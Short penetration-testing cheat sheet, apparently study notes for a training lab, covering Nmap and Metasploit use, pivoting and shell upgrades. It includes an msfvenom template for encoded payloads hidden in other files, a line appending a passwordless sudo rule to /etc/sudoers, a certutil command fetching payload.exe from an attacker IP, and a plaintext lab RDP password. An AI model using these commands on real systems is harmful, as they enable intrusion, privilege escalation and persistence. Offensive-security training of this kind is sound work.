Extra Notes – Tools

Subject	How-To
NMAP	To import NMAP scans (XML Format | -oX) to MSF {CMD} - service postgresql start - db_status - workspace -a *{workspace_name}* - db_import *{DB_Path}* - hosts / services / loot / creds / analyze / vulns / jobs / analyze To directly scan through MSF and auto add to DB - db_nmap *{Nmap Args} {Target IP}* NMAP Scripts location: /usr/share/nmap/scripts/ Fast UDP port scan on top ports: nmap -sU --top-ports 25 {TARGET} NMAP Banner grab: --script=banner
MSF Venom Payload Builder	msfvenom -p *{Payload}* LHOST=*{IP}* LPORT=*{Port}* -e *{Encoder}* -i 10 -f *{FileType}* -x *{fileToHideIn}* > *{Path/Filename.type}*
No Nano or VIM	printf '#!/bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
Proxychain Pivoting MSF + Proxychains	- run autoroute -s *{IP/SUBNET}* - cat /etc/proxychains4.conf - use auxiliary/server/socks_proxy - set SRVPORT 9050 - set VERSION 4a - run - jobs - proxychains nmap demo1.ine.local -sT -Pn -sV
MSF Port Forward Pivoting	- run autoroute -s *{IP/SUBNET}* - portfwd add -l {*LocalPort*} -p *{VictimPort}* -r {*VictimIP*} - nmap *{Params}* -p *{LocalPort}* localhost
MSF Resources Script	msfconsole -r *script_name.rc*
Remote Download	certutil -urlcache -f http://*{IP}*/payload.exe payload.exe (Or use curl -O)
RDP Connection	xfreerdp /u: administrator /p: hacker_123321 /v: 10.2.19.254
Upgrade Non-Interactive Shell	- cat /etc/shells - /bin/bash -i - /bin/sh -i - python -c 'import pty; pty.spawn("/bin/bash")' - perl -e 'exec "/bin/bash";' - ruby: exec "/bin/bash"
Rockyou wordlist	- gzip -d /usr/share/wordlists/rockyou.txt.gz